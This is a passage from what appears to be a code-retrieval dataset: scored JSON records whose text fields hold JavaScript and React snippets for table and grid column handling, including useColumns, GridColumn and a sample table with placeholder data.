'2', '3', '4', '5', '6', '7']\n }", "title": "" }, { "docid": "d7bcc4e0936fc39846fd2d39bad90f26", "score": "0.5829462", "text": "get columnDef() {\n return this.args && this.args.column;\n }", "title": "" }, { "docid": "d7bcc4e0936fc39846fd2d39bad90f26", "score": "0.5829462", "text": "get columnDef() {\n return this.args && this.args.column;\n }", "title": "" }, { "docid": "7db9e9a2bd01bf23637f4e7a67d9ca7b", "score": "0.5789303", "text": "function ViewColumn(options) {\n return function (object, propertyName) {\n Object(___WEBPACK_IMPORTED_MODULE_0__[\"getMetadataArgsStorage\"])().columns.push({\n target: object.constructor,\n propertyName: propertyName,\n mode: \"regular\",\n options: options || {}\n });\n };\n}", "title": "" }, { "docid": "8d92925c7545370cd87f214bcefcf7d1", "score": "0.5788081", "text": "function GridColumn(props) {\n var children = props.children,\n className = props.className,\n computer = props.computer,\n color = props.color,\n floated = props.floated,\n largeScreen = props.largeScreen,\n mobile = props.mobile,\n only = props.only,\n stretched = props.stretched,\n tablet = props.tablet,\n textAlign = props.textAlign,\n verticalAlign = props.verticalAlign,\n widescreen = props.widescreen,\n width = props.width;\n\n\n var classes = (0, _classnames2.default)(color, (0, _lib.useKeyOnly)(stretched, 'stretched'), (0, _lib.useMultipleProp)(only, 'only'), (0, _lib.useTextAlignProp)(textAlign), (0, _lib.useValueAndKey)(floated, 'floated'), (0, _lib.useVerticalAlignProp)(verticalAlign), (0, _lib.useWidthProp)(computer, 'wide computer'), (0, _lib.useWidthProp)(largeScreen, 'wide large screen'), (0, _lib.useWidthProp)(mobile, 'wide mobile'), (0, _lib.useWidthProp)(tablet, 'wide tablet'), (0, _lib.useWidthProp)(widescreen, 'wide widescreen'), (0, _lib.useWidthProp)(width, 'wide'), 'column', className);\n var rest = (0, _lib.getUnhandledProps)(GridColumn, props);\n var ElementType = (0, _lib.getElementType)(GridColumn, props);\n\n return _react2.default.createElement(\n ElementType,\n (0, _extends3.default)({}, rest, { className: classes }),\n children\n );\n}", "title": "" }, { "docid": "1b0a11189ee3f607d7b9b144caec4dda", "score": "0.5769462", "text": "function Column(props){\n return <div className=\"Column\" onClick={() => props.handleClick()}>\n {[...Array(props.spaces.length)].map((x, j) => \n <Space key={j} value={props.spaces[j]}></Space>)}\n </div>\n }", "title": "" }, { "docid": "a7142ac382afeb550797a0ecb55f1ecf", "score": "0.5760383", "text": "function useColumns(_ref2, transformColumns) {\n var prefixCls = _ref2.prefixCls,\n columns = _ref2.columns,\n children = _ref2.children,\n expandable = _ref2.expandable,\n expandedKeys = _ref2.expandedKeys,\n getRowKey = _ref2.getRowKey,\n onTriggerExpand = _ref2.onTriggerExpand,\n expandIcon = _ref2.expandIcon,\n rowExpandable = _ref2.rowExpandable,\n expandIconColumnIndex = _ref2.expandIconColumnIndex,\n direction = _ref2.direction,\n expandRowByClick = _ref2.expandRowByClick,\n columnWidth = _ref2.columnWidth,\n fixed = _ref2.fixed;\n var baseColumns = __WEBPACK_IMPORTED_MODULE_4_react__[\"useMemo\"](function () {\n return columns || convertChildrenToColumns(children);\n }, [columns, children]); // Add expand column\n\n var withExpandColumns = __WEBPACK_IMPORTED_MODULE_4_react__[\"useMemo\"](function () {\n if (expandable) {\n var _expandColumn;\n\n var expandColIndex = expandIconColumnIndex || 0;\n var prevColumn = baseColumns[expandColIndex];\n var fixedColumn;\n\n if ((fixed === 'left' || fixed) && !expandIconColumnIndex) {\n fixedColumn = 'left';\n } else if ((fixed === 'right' || fixed) && expandIconColumnIndex === baseColumns.length) {\n fixedColumn = 'right';\n } else {\n fixedColumn = prevColumn ? prevColumn.fixed : null;\n }\n\n var expandColumn = (_expandColumn = {}, Object(__WEBPACK_IMPORTED_MODULE_0__babel_runtime_helpers_esm_defineProperty__[\"a\" /* default */])(_expandColumn, __WEBPACK_IMPORTED_MODULE_7__utils_legacyUtil__[\"a\" /* INTERNAL_COL_DEFINE */], {\n className: \"\".concat(prefixCls, \"-expand-icon-col\")\n }), Object(__WEBPACK_IMPORTED_MODULE_0__babel_runtime_helpers_esm_defineProperty__[\"a\" /* default */])(_expandColumn, \"title\", ''), Object(__WEBPACK_IMPORTED_MODULE_0__babel_runtime_helpers_esm_defineProperty__[\"a\" /* default */])(_expandColumn, \"fixed\", fixedColumn), Object(__WEBPACK_IMPORTED_MODULE_0__babel_runtime_helpers_esm_defineProperty__[\"a\" /* default */])(_expandColumn, \"className\", \"\".concat(prefixCls, \"-row-expand-icon-cell\")), Object(__WEBPACK_IMPORTED_MODULE_0__babel_runtime_helpers_esm_defineProperty__[\"a\" /* default */])(_expandColumn, \"width\", columnWidth), Object(__WEBPACK_IMPORTED_MODULE_0__babel_runtime_helpers_esm_defineProperty__[\"a\" /* default */])(_expandColumn, \"render\", function render(_, record, index) {\n var rowKey = getRowKey(record, index);\n var expanded = expandedKeys.has(rowKey);\n var recordExpandable = rowExpandable ? rowExpandable(record) : true;\n var icon = expandIcon({\n prefixCls: prefixCls,\n expanded: expanded,\n expandable: recordExpandable,\n record: record,\n onExpand: onTriggerExpand\n });\n\n if (expandRowByClick) {\n return /*#__PURE__*/__WEBPACK_IMPORTED_MODULE_4_react__[\"createElement\"](\"span\", {\n onClick: function onClick(e) {\n return e.stopPropagation();\n }\n }, icon);\n }\n\n return icon;\n }), _expandColumn); // Insert expand column in the target position\n\n var cloneColumns = baseColumns.slice();\n\n if (expandColIndex >= 0) {\n cloneColumns.splice(expandColIndex, 0, expandColumn);\n }\n\n return cloneColumns;\n }\n\n return baseColumns;\n }, [expandable, baseColumns, getRowKey, expandedKeys, expandIcon, direction]);\n var mergedColumns = __WEBPACK_IMPORTED_MODULE_4_react__[\"useMemo\"](function () {\n var finalColumns = withExpandColumns;\n\n if (transformColumns) {\n finalColumns = transformColumns(finalColumns);\n } // Always provides at least one column for table display\n\n\n if (!finalColumns.length) {\n finalColumns = [{\n render: function render() {\n return null;\n }\n }];\n }\n\n return finalColumns;\n }, [transformColumns, withExpandColumns, direction]);\n var flattenColumns = __WEBPACK_IMPORTED_MODULE_4_react__[\"useMemo\"](function () {\n if (direction === 'rtl') {\n return revertForRtl(flatColumns(mergedColumns));\n }\n\n return flatColumns(mergedColumns);\n }, [mergedColumns, direction]); // Only check out of production since it's waste for each render\n\n if (true) {\n warningFixed(flattenColumns);\n }\n\n return [mergedColumns, flattenColumns];\n}", "title": "" }, { "docid": "69b800e8e86b5d50eedf32aac9b21032", "score": "0.57531166", "text": "function useColumns(_ref2, transformColumns) {\n var prefixCls = _ref2.prefixCls,\n columns = _ref2.columns,\n children = _ref2.children,\n expandable = _ref2.expandable,\n expandedKeys = _ref2.expandedKeys,\n getRowKey = _ref2.getRowKey,\n onTriggerExpand = _ref2.onTriggerExpand,\n expandIcon = _ref2.expandIcon,\n rowExpandable = _ref2.rowExpandable,\n expandIconColumnIndex = _ref2.expandIconColumnIndex,\n direction = _ref2.direction,\n expandRowByClick = _ref2.expandRowByClick,\n columnWidth = _ref2.columnWidth;\n var baseColumns = react__WEBPACK_IMPORTED_MODULE_4__.useMemo(function () {\n return columns || convertChildrenToColumns(children);\n }, [columns, children]); // Add expand column\n\n var withExpandColumns = react__WEBPACK_IMPORTED_MODULE_4__.useMemo(function () {\n if (expandable) {\n var _expandColumn;\n\n var expandColIndex = expandIconColumnIndex || 0;\n var prevColumn = baseColumns[expandColIndex];\n var expandColumn = (_expandColumn = {}, (0,_babel_runtime_helpers_esm_defineProperty__WEBPACK_IMPORTED_MODULE_0__.default)(_expandColumn, _utils_legacyUtil__WEBPACK_IMPORTED_MODULE_7__.INTERNAL_COL_DEFINE, {\n className: \"\".concat(prefixCls, \"-expand-icon-col\")\n }), (0,_babel_runtime_helpers_esm_defineProperty__WEBPACK_IMPORTED_MODULE_0__.default)(_expandColumn, \"title\", ''), (0,_babel_runtime_helpers_esm_defineProperty__WEBPACK_IMPORTED_MODULE_0__.default)(_expandColumn, \"fixed\", prevColumn ? prevColumn.fixed : null), (0,_babel_runtime_helpers_esm_defineProperty__WEBPACK_IMPORTED_MODULE_0__.default)(_expandColumn, \"className\", \"\".concat(prefixCls, \"-row-expand-icon-cell\")), (0,_babel_runtime_helpers_esm_defineProperty__WEBPACK_IMPORTED_MODULE_0__.default)(_expandColumn, \"width\", columnWidth), (0,_babel_runtime_helpers_esm_defineProperty__WEBPACK_IMPORTED_MODULE_0__.default)(_expandColumn, \"render\", function render(_, record, index) {\n var rowKey = getRowKey(record, index);\n var expanded = expandedKeys.has(rowKey);\n var recordExpandable = rowExpandable ? rowExpandable(record) : true;\n var icon = expandIcon({\n prefixCls: prefixCls,\n expanded: expanded,\n expandable: recordExpandable,\n record: record,\n onExpand: onTriggerExpand\n });\n\n if (expandRowByClick) {\n return /*#__PURE__*/react__WEBPACK_IMPORTED_MODULE_4__.createElement(\"span\", {\n onClick: function onClick(e) {\n return e.stopPropagation();\n }\n }, icon);\n }\n\n return icon;\n }), _expandColumn); // Insert expand column in the target position\n\n var cloneColumns = baseColumns.slice();\n\n if (expandColIndex >= 0) {\n cloneColumns.splice(expandColIndex, 0, expandColumn);\n }\n\n return cloneColumns;\n }\n\n return baseColumns;\n }, [expandable, baseColumns, getRowKey, expandedKeys, expandIcon, direction]);\n var mergedColumns = react__WEBPACK_IMPORTED_MODULE_4__.useMemo(function () {\n var finalColumns = withExpandColumns;\n\n if (transformColumns) {\n finalColumns = transformColumns(finalColumns);\n } // Always provides at least one column for table display\n\n\n if (!finalColumns.length) {\n finalColumns = [{\n render: function render() {\n return null;\n }\n }];\n }\n\n return finalColumns;\n }, [transformColumns, withExpandColumns, direction]);\n var flattenColumns = react__WEBPACK_IMPORTED_MODULE_4__.useMemo(function () {\n if (direction === 'rtl') {\n return revertForRtl(flatColumns(mergedColumns));\n }\n\n return flatColumns(mergedColumns);\n }, [mergedColumns, direction]); // Only check out of production since it's waste for each render\n\n if (true) {\n warningFixed(flattenColumns);\n }\n\n return [mergedColumns, flattenColumns];\n}", "title": "" }, { "docid": "3c7aaeb65acf26d1b09fc46f99ae92b7", "score": "0.57471675", "text": "get columns() {\n\t\treturn this.nativeElement ? this.nativeElement.columns : undefined;\n\t}", "title": "" }, { "docid": "0429ebedb88b0be2fe52ac0a5b9326fe", "score": "0.5745425", "text": "function MeasureColumn({ sampleIndexes, column, columnIndex, rows, isSelectable, onLayout }) {\n const [css] = useStyletron();\n\n const ref = useRef();\n\n React.useEffect(() => {\n if (__BROWSER__) {\n if (ref.current) {\n onLayout(columnIndex, ref.current.getBoundingClientRect());\n }\n }\n }, []);\n\n return (\n <div\n ref={ref}\n className={css({\n display: 'flex',\n flexDirection: 'column',\n width: 'fit-content',\n })}\n >\n <HeaderCell\n index={columnIndex}\n isHovered\n isMeasured\n isSelectedAll={false}\n isSelectedIndeterminate={false}\n onMouseEnter={() => {}}\n onMouseLeave={() => {}}\n onSelectAll={() => {}}\n onSelectNone={() => {}}\n onSort={(i) => {}}\n sortable={column.sortable}\n sortDirection={null}\n title={column.title}\n isSelectable={isSelectable}\n />\n {sampleIndexes.map((rowIndex, i) => {\n const Cell = column.renderCell;\n return (\n <Cell\n key={`measure-${i}`}\n value={column.mapDataToValue(rows[rowIndex].data)}\n isSelectable={isSelectable}\n isMeasured\n sortable={column.sortable}\n x={0}\n y={rowIndex}\n />\n );\n })}\n </div>\n );\n}", "title": "" }, { "docid": "d1e9c55ba77e24ffd8f22e01013b6b86", "score": "0.57385015", "text": "getColumns() {\n return this._columns;\n }", "title": "" }, { "docid": "3f59c8f2eed739be1e3eb98c090ede8e", "score": "0.57301223", "text": "getStandardColumns() {\n return [{\n dataField: 'title',\n text: 'Title'\n }, {\n dataField: 'description',\n text: 'Description'\n }, {\n dataField: 'author',\n text: 'Author',\n formatter: this.authorNameFormatter\n }]\n }", "title": "" }, { "docid": "4640e2a4f77e2e56273b0012a189ff42", "score": "0.57273096", "text": "function GridColumn(props) {\n var children = props.children,\n className = props.className,\n computer = props.computer,\n color = props.color,\n floated = props.floated,\n largeScreen = props.largeScreen,\n mobile = props.mobile,\n only = props.only,\n stretched = props.stretched,\n tablet = props.tablet,\n textAlign = props.textAlign,\n verticalAlign = props.verticalAlign,\n widescreen = props.widescreen,\n width = props.width;\n var classes = (0, _classnames.default)(color, (0, _lib.useKeyOnly)(stretched, 'stretched'), (0, _lib.useMultipleProp)(only, 'only'), (0, _lib.useTextAlignProp)(textAlign), (0, _lib.useValueAndKey)(floated, 'floated'), (0, _lib.useVerticalAlignProp)(verticalAlign), (0, _lib.useWidthProp)(computer, 'wide computer'), (0, _lib.useWidthProp)(largeScreen, 'wide large screen'), (0, _lib.useWidthProp)(mobile, 'wide mobile'), (0, _lib.useWidthProp)(tablet, 'wide tablet'), (0, _lib.useWidthProp)(widescreen, 'wide widescreen'), (0, _lib.useWidthProp)(width, 'wide'), 'column', className);\n var rest = (0, _lib.getUnhandledProps)(GridColumn, props);\n var ElementType = (0, _lib.getElementType)(GridColumn, props);\n return _react.default.createElement(ElementType, (0, _extends2.default)({}, rest, {\n className: classes\n }), children);\n}", "title": "" }, { "docid": "37dea79f9458be8ed42c40381b324cfb", "score": "0.5702991", "text": "get columns() {\n return this.knexQuery['_statements']\n .filter(({ grouping }) => grouping === 'columns')\n .reduce((result, { value }) => {\n result = result.concat(value);\n return result;\n }, []);\n }", "title": "" }, { "docid": "108a2d16e8fad2a4b2d63ef81e0cb27f", "score": "0.5701119", "text": "function GridColumn(props) {\n var children = props.children,\n className = props.className,\n computer = props.computer,\n color = props.color,\n floated = props.floated,\n largeScreen = props.largeScreen,\n mobile = props.mobile,\n only = props.only,\n stretched = props.stretched,\n tablet = props.tablet,\n textAlign = props.textAlign,\n verticalAlign = props.verticalAlign,\n widescreen = props.widescreen,\n width = props.width;\n var classes = classnames_default()(color, useKeyOnly(stretched, 'stretched'), useMultipleProp(only, 'only'), useTextAlignProp(textAlign), useValueAndKey(floated, 'floated'), useVerticalAlignProp(verticalAlign), classNameBuilders_useWidthProp(computer, 'wide computer'), classNameBuilders_useWidthProp(largeScreen, 'wide large screen'), classNameBuilders_useWidthProp(mobile, 'wide mobile'), classNameBuilders_useWidthProp(tablet, 'wide tablet'), classNameBuilders_useWidthProp(widescreen, 'wide widescreen'), classNameBuilders_useWidthProp(width, 'wide'), 'column', className);\n var rest = lib_getUnhandledProps(GridColumn, props);\n var ElementType = lib_getElementType(GridColumn, props);\n return react_default.a.createElement(ElementType, extends_default()({}, rest, {\n className: classes\n }), children);\n}", "title": "" }, { "docid": "5eb5e2f75916863f0d424807cfc3f27b", "score": "0.5681273", "text": "get columnDef() { return this._columnDef; }", "title": "" }, { "docid": "bde332c3e26b77d01b12ed00e628bc65", "score": "0.566968", "text": "createColumns() {\n let columns = [];\n for (let i = 0; i < MAX_COLUMNS; ++i) {\n let col = (i + 1) + \"\";\n columns.push(Column.create({\n col: col,\n controller: this\n }));\n }\n this.set('columns', columns);\n }", "title": "" }, { "docid": "f685c83f051a0831aa69fd9ebe42fe3e", "score": "0.5652984", "text": "initialColumns(){\r\n\t\tlet self = this,\r\n\t\toptions = get(this, 'options');\r\n\r\n\t\tif ( Ember.isArray( options.columns ) ) {\r\n\r\n\t\t\tlet _columns = options.columns\r\n\t\t\t.map( column =>{\r\n\r\n\t\t\t\tif ( Ember.typeOf(column) === 'string' ) {\r\n\t\t\t\t\tlet _column = column.split(':');\r\n\t\t\t\t\tcolumn = {\r\n\t\t\t\t\t\tkey: _column[0],\r\n\t\t\t\t\t\tlabel: _column[1] ? _column[1] : cptlzFL( _column[0] ),\r\n\t\t\t\t\t\torder: _column[2] ? true : false\r\n\t\t\t\t\t};\r\n\t\t\t\t}\r\n\r\n\t\t\t\treturn Ember.Object.create(column);\r\n\t\t\t});\r\n\r\n\t\t\tset( this._columns , 'content' , _columns );\r\n\r\n\t\t}else if( Ember.typeOf( options.columns ) === 'string' ){\r\n\r\n\t\t\toptions.columns.split(',')\r\n\t\t\t.forEach( column => {\r\n\t\t\t\tlet _column = column.split(':');\r\n\t\t\t\tself._columns.addObject(Ember.Object.create({\r\n\t\t\t\t\tkey: _column[0],\r\n\t\t\t\t\tlabel: _column[1] ? _column[1] : cptlzFL( _column[0] ),\r\n\t\t\t\t\torder: _column[2] ? true : false\r\n\t\t\t\t}));\r\n\t\t\t});\r\n\t\t}else{\r\n\r\n\t\t\t/* none array columns , get column from data property */\r\n\t\t\tlet columns = Object.keys( get( this._data , 'firstObject') );\r\n\r\n\t\t\tcolumns.forEach( column =>{\r\n\t\t\t\tself._columns.addObject(Ember.Object.create({\r\n\t\t\t\t\tkey: column,\r\n\t\t\t\t\tlabel: cptlzFL( column )\r\n\t\t\t\t}));\r\n\t\t\t});\r\n\t\t}\r\n\r\n\t\t/*\r\n\t\t* visible all columns\r\n\t\t*/\r\n\t\tthis._columns.setEach('_isShow', true);\r\n\r\n\t\t/*\r\n\t\t* check Default ordering\r\n\t\t*/\r\n\t\tif ( get(this, 'options.order') ) {\r\n\t\t\t\r\n\t\t\tlet order = get(this, 'options.order').split(':'),\r\n\t\t\tcolumns = this._columns.findBy('key' , order[0] );\r\n\r\n\t\t\tif ( columns ) {\r\n\r\n\t\t\t\tset(columns , '_ordering' , true );\r\n\t\t\t\tset(columns , '_order_asc' , ( order[1] && order[1] === 'asc' ) ? true : false );\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t/*\r\n\t\t* Check if any column has checkbox\r\n\t\t*/\r\n\t\tif ( get(this, '_columns').length ) {\r\n\t\t\t\r\n\t\t\tget(this, '_columns')\r\n\t\t\t.filterBy('key','CHECKBOX')\r\n\t\t\t.forEach( item => {\r\n\t\t\t\tset(item , '_isCheckbox', true);\r\n\t\t\t\tset(item , '_checked' , false);\r\n\t\t\t});\r\n\t\t}\r\n\r\n\t\t/* Call AfterRender Event */\r\n\t\tthis.onEvent('afterRender', this);\r\n\r\n\t\tset(this, '_isLoading' , false );\r\n\t}", "title": "" }, { "docid": "6a5b871dc32f20fa98cdef0911573dca", "score": "0.5635117", "text": "init() {\n\t\t\n\t\tthis.columns.forEach((element) => {\n\t\t\t// normaliza los columnName\n\t\t\tif(typeof element.visible === 'undefined' || element.visible === true) {\n\t\t\t\tthis.columnsName.push(element.columnName);\n\t\t\t}\n\n\t\t\t// setea el component por columna de la row\n\t\t\telement.customComponent = ComponentColumn;\n\t\t\t// setea el component por columna del header\n\t\t\telement.customHeaderComponent = FilterHeader;\n\n\t\t\tthis.columnsMetaData.push(element);\n\t\t\n\t\t})\n\t\n\t}", "title": "" }, { "docid": "ea8feeedfe4b3b2eb2aac7f583b352ee", "score": "0.56252426", "text": "function useColumns(_ref2, transformColumns) {\n var prefixCls = _ref2.prefixCls,\n columns = _ref2.columns,\n children = _ref2.children,\n expandable = _ref2.expandable,\n expandedKeys = _ref2.expandedKeys,\n getRowKey = _ref2.getRowKey,\n onTriggerExpand = _ref2.onTriggerExpand,\n expandIcon = _ref2.expandIcon,\n rowExpandable = _ref2.rowExpandable,\n expandIconColumnIndex = _ref2.expandIconColumnIndex,\n direction = _ref2.direction;\n var baseColumns = React.useMemo(function () {\n return columns || convertChildrenToColumns(children);\n }, [columns, children]); // Add expand column\n\n var withExpandColumns = React.useMemo(function () {\n if (expandable) {\n var _expandColumn;\n\n var expandColIndex = expandIconColumnIndex || 0;\n var prevColumn = baseColumns[expandColIndex];\n var expandColumn = (_expandColumn = {}, _defineProperty(_expandColumn, INTERNAL_COL_DEFINE, {\n className: \"\".concat(prefixCls, \"-expand-icon-col\")\n }), _defineProperty(_expandColumn, \"title\", ''), _defineProperty(_expandColumn, \"fixed\", prevColumn ? prevColumn.fixed : null), _defineProperty(_expandColumn, \"className\", \"\".concat(prefixCls, \"-row-expand-icon-cell\")), _defineProperty(_expandColumn, \"render\", function render(_, record, index) {\n var rowKey = getRowKey(record, index);\n var expanded = expandedKeys.has(rowKey);\n var recordExpandable = rowExpandable ? rowExpandable(record) : true;\n return expandIcon({\n prefixCls: prefixCls,\n expanded: expanded,\n expandable: recordExpandable,\n record: record,\n onExpand: onTriggerExpand\n });\n }), _expandColumn); // Insert expand column in the target position\n\n var cloneColumns = baseColumns.slice();\n cloneColumns.splice(expandColIndex, 0, expandColumn);\n return cloneColumns;\n }\n\n return baseColumns;\n }, [expandable, baseColumns, getRowKey, expandedKeys, expandIcon, direction]);\n var mergedColumns = React.useMemo(function () {\n var finalColumns = withExpandColumns;\n\n if (transformColumns) {\n finalColumns = transformColumns(finalColumns);\n } // Always provides at least one column for table display\n\n\n if (!finalColumns.length) {\n finalColumns = [{\n render: function render() {\n return null;\n }\n }];\n }\n\n return finalColumns;\n }, [transformColumns, withExpandColumns, direction]);\n var flattenColumns = React.useMemo(function () {\n if (direction === 'rtl') {\n return revertForRtl(flatColumns(mergedColumns));\n }\n\n return flatColumns(mergedColumns);\n }, [mergedColumns, direction]); // Only check out of production since it's waste for each render\n\n if (process.env.NODE_ENV !== 'production') {\n warningFixed(flattenColumns);\n }\n\n return [mergedColumns, flattenColumns];\n}", "title": "" }, { "docid": "440f04eafcb6d28d803a689b648fbba5", "score": "0.56245667", "text": "renderColumn() {\n this.element.querySelectorAll('td[data-column], th[data-column]')\n .forEach((column) => {\n column.style.display = '';\n });\n\n const showClass = this.hiddenColumns.map(\n column => `td[data-column=\"${column}\"], th[data-column=\"${column}\"]`,\n ).join();\n\n if (showClass.length < 1){\n return;\n }\n\n this.element.querySelectorAll(showClass)\n .forEach((column) => {\n column.style.display = 'none';\n });\n\n const checkBoxEnable = this.hiddenColumns.map(\n column => `input[data-column=\"${column}\"]`,\n ).join();\n\n this.element.querySelectorAll(checkBoxEnable)\n .forEach((checkbox) => {\n checkbox.checked = false;\n });\n }", "title": "" }, { "docid": "86cbd804816d88795af84523eae5cac2", "score": "0.5591521", "text": "get columns() {\n let allColumns = [].concat(this._columns);\n this.embeddeds.forEach(embedded => {\n allColumns = allColumns.concat(embedded.columns);\n });\n return allColumns;\n }", "title": "" }, { "docid": "9fee3550e0b21b8fd4b9e07b1983a056", "score": "0.55811745", "text": "getColumns () {\n const scope = this.editor.getRootScopeDescriptor()\n const defaultColumns = [atom.config.get('editor.preferredLineLength', { scope })]\n const customColumns = atom.config.get('multi-wrap-guide.columns', { scope })\n return customColumns.length > 0 ? customColumns : defaultColumns\n }", "title": "" }, { "docid": "c0f9cd5f5d97583bcca76f12b258883b", "score": "0.556881", "text": "render() {\n return <StyledReactTable data={this.props.table.data} columns={this.props.table.columns} defaultPageSize={10} className=\"-striped -highlight\" showPaginationBottom={true} />;\n }", "title": "" }, { "docid": "1acb025695950389a492fb1e440ad544", "score": "0.55641156", "text": "getColumns() {\n let columns = this.getStandardColumns()\n \n if (LocalStorage.getUserRole() === Role.ADMIN_ROLE) {\n columns.push({\n dataField: 'actions',\n text: 'Actions',\n isDummyField: true,\n formatter: this.actionsFormatter\n })\n }\n\n return columns\n }", "title": "" }, { "docid": "d54e08a4f9c68e2ec9e4e1363e18890a", "score": "0.5556971", "text": "function App() {\n\n // Columns array. This array contains your table headings and accessors which maps keys from data array\n const columns = React.useMemo(() => (\n [\n {\n \"id\": \"columnId_00.4301301637852736\",\n \"Header\": \"Remove later\",\n \"Footer\": \"\",\n \"columns\": [\n {\n \"id\": \"columnId_0_00.3993265160822733\",\n \"Header\": \"Name\",\n \"Footer\": \"\",\n \"accessor\": \"Key0\"\n },\n {\n \"id\": \"columnId_0_00.8048758967415083\",\n \"Header\": \"Stars\",\n \"Footer\": \"\",\n \"accessor\": \"Key1\",\n \"filter\": \"between\"\n },\n {\n \"id\": \"columnId_0_00.9075474765424285\",\n \"Header\": \"Language\",\n \"Footer\": \"\",\n \"accessor\": \"Key2\",\n \"filter\": \"includes\"\n },\n {\n \"id\": \"columnId_0_00.4798125422028431\",\n \"Header\": \"Topics\",\n \"Footer\": \"\",\n \"accessor\": \"Key3\"\n }\n ]\n }\n]\n ), []);\n\n // Data array. Replace it with your actual data.\n const data = React.useMemo(() => ([\n {\n \"Key0\": \"Julian\",\n \"Key1\": 1,\n \"Key2\": \"Ms\",\n \"Key3\": \"hhs.gov\"\n },\n {\n \"Key0\": \"Ketti\",\n \"Key1\": 2,\n \"Key2\": \"Dr\",\n \"Key3\": \"desdev.cn\"\n },\n {\n \"Key0\": \"Fallon\",\n \"Key1\": 3,\n \"Key2\": \"Rev\",\n \"Key3\": \"elegantthemes.com\"\n },\n {\n \"Key0\": \"Leela\",\n \"Key1\": 4,\n \"Key2\": \"Dr\",\n \"Key3\": \"oakley.com\"\n },\n {\n \"Key0\": \"Vivienne\",\n \"Key1\": 5,\n \"Key2\": \"Rev\",\n \"Key3\": \"example.com\"\n },\n {\n \"Key0\": \"Margaux\",\n \"Key1\": 6,\n \"Key2\": \"Ms\",\n \"Key3\": \"harvard.edu\"\n },\n {\n \"Key0\": \"Mannie\",\n \"Key1\": 7,\n \"Key2\": \"Rev\",\n \"Key3\": \"upenn.edu\"\n },\n {\n \"Key0\": \"Vanya\",\n \"Key1\": 8,\n \"Key2\": \"Mrs\",\n \"Key3\": \"dmoz.org\"\n },\n {\n \"Key0\": \"Barbabra\",\n \"Key1\": 9,\n \"Key2\": \"Rev\",\n \"Key3\": \"netlog.com\"\n },\n {\n \"Key0\": \"Fiann\",\n \"Key1\": 10,\n \"Key2\": \"Mr\",\n \"Key3\": \"yolasite.com\"\n },\n {\n \"Key0\": \"Sargent\",\n \"Key1\": 11,\n \"Key2\": \"Ms\",\n \"Key3\": \"alibaba.com\"\n },\n {\n \"Key0\": \"Josy\",\n \"Key1\": 12,\n \"Key2\": \"Rev\",\n \"Key3\": \"wikipedia.org\"\n },\n {\n \"Key0\": \"Hulda\",\n \"Key1\": 13,\n \"Key2\": \"Honorable\",\n \"Key3\": \"imgur.com\"\n },\n {\n \"Key0\": \"Giavani\",\n \"Key1\": 14,\n \"Key2\": \"Ms\",\n \"Key3\": \"apache.org\"\n },\n {\n \"Key0\": \"Berkley\",\n \"Key1\": 15,\n \"Key2\": \"Ms\",\n \"Key3\": \"163.com\"\n },\n {\n \"Key0\": \"Nick\",\n \"Key1\": 16,\n \"Key2\": \"Honorable\",\n \"Key3\": \"linkedin.com\"\n },\n {\n \"Key0\": \"Angelina\",\n \"Key1\": 17,\n \"Key2\": \"Rev\",\n \"Key3\": \"constantcontact.com\"\n },\n {\n \"Key0\": \"Guglielmo\",\n \"Key1\": 18,\n \"Key2\": \"Honorable\",\n \"Key3\": \"is.gd\"\n },\n {\n \"Key0\": \"Myrtie\",\n \"Key1\": 19,\n \"Key2\": \"Mr\",\n \"Key3\": \"shinystat.com\"\n },\n {\n \"Key0\": \"Oates\",\n \"Key1\": 20,\n \"Key2\": \"Honorable\",\n \"Key3\": \"xinhuanet.com\"\n },\n {\n \"Key0\": \"Griswold\",\n \"Key1\": 21,\n \"Key2\": \"Rev\",\n \"Key3\": \"cbc.ca\"\n },\n {\n \"Key0\": \"Paxton\",\n \"Key1\": 22,\n \"Key2\": \"Rev\",\n \"Key3\": \"homestead.com\"\n },\n {\n \"Key0\": \"Inesita\",\n \"Key1\": 23,\n \"Key2\": \"Mr\",\n \"Key3\": \"google.nl\"\n },\n {\n \"Key0\": \"Charleen\",\n \"Key1\": 24,\n \"Key2\": \"Honorable\",\n \"Key3\": \"yale.edu\"\n },\n {\n \"Key0\": \"Rowland\",\n \"Key1\": 25,\n \"Key2\": \"Rev\",\n \"Key3\": \"booking.com\"\n },\n {\n \"Key0\": \"Trueman\",\n \"Key1\": 26,\n \"Key2\": \"Rev\",\n \"Key3\": \"cbslocal.com\"\n },\n {\n \"Key0\": \"Mathilda\",\n \"Key1\": 27,\n \"Key2\": \"Rev\",\n \"Key3\": \"amazon.de\"\n },\n {\n \"Key0\": \"Melloney\",\n \"Key1\": 28,\n \"Key2\": \"Honorable\",\n \"Key3\": \"lulu.com\"\n },\n {\n \"Key0\": \"Inglis\",\n \"Key1\": 29,\n \"Key2\": \"Rev\",\n \"Key3\": \"chronoengine.com\"\n },\n {\n \"Key0\": \"Giustina\",\n \"Key1\": 30,\n \"Key2\": \"Mr\",\n \"Key3\": \"ed.gov\"\n },\n {\n \"Key0\": \"Conrad\",\n \"Key1\": 31,\n \"Key2\": \"Mrs\",\n \"Key3\": \"wsj.com\"\n },\n {\n \"Key0\": \"Emmalynne\",\n \"Key1\": 32,\n \"Key2\": \"Dr\",\n \"Key3\": \"amazon.de\"\n },\n {\n \"Key0\": \"Jude\",\n \"Key1\": 33,\n \"Key2\": \"Rev\",\n \"Key3\": \"uiuc.edu\"\n },\n {\n \"Key0\": \"Farlee\",\n \"Key1\": 34,\n \"Key2\": \"Honorable\",\n \"Key3\": \"webs.com\"\n },\n {\n \"Key0\": \"Mendel\",\n \"Key1\": 35,\n \"Key2\": \"Honorable\",\n \"Key3\": \"digg.com\"\n },\n {\n \"Key0\": \"Fae\",\n \"Key1\": 36,\n \"Key2\": \"Dr\",\n \"Key3\": \"yellowbook.com\"\n },\n {\n \"Key0\": \"Janella\",\n \"Key1\": 37,\n \"Key2\": \"Rev\",\n \"Key3\": \"flickr.com\"\n },\n {\n \"Key0\": \"Esmeralda\",\n \"Key1\": 38,\n \"Key2\": \"Ms\",\n \"Key3\": \"ihg.com\"\n },\n {\n \"Key0\": \"Quintilla\",\n \"Key1\": 39,\n \"Key2\": \"Ms\",\n \"Key3\": \"indiegogo.com\"\n },\n {\n \"Key0\": \"Devland\",\n \"Key1\": 40,\n \"Key2\": \"Rev\",\n \"Key3\": \"yellowbook.com\"\n },\n {\n \"Key0\": \"Preston\",\n \"Key1\": 41,\n \"Key2\": \"Mrs\",\n \"Key3\": \"theguardian.com\"\n },\n {\n \"Key0\": \"Quintilla\",\n \"Key1\": 42,\n \"Key2\": \"Dr\",\n 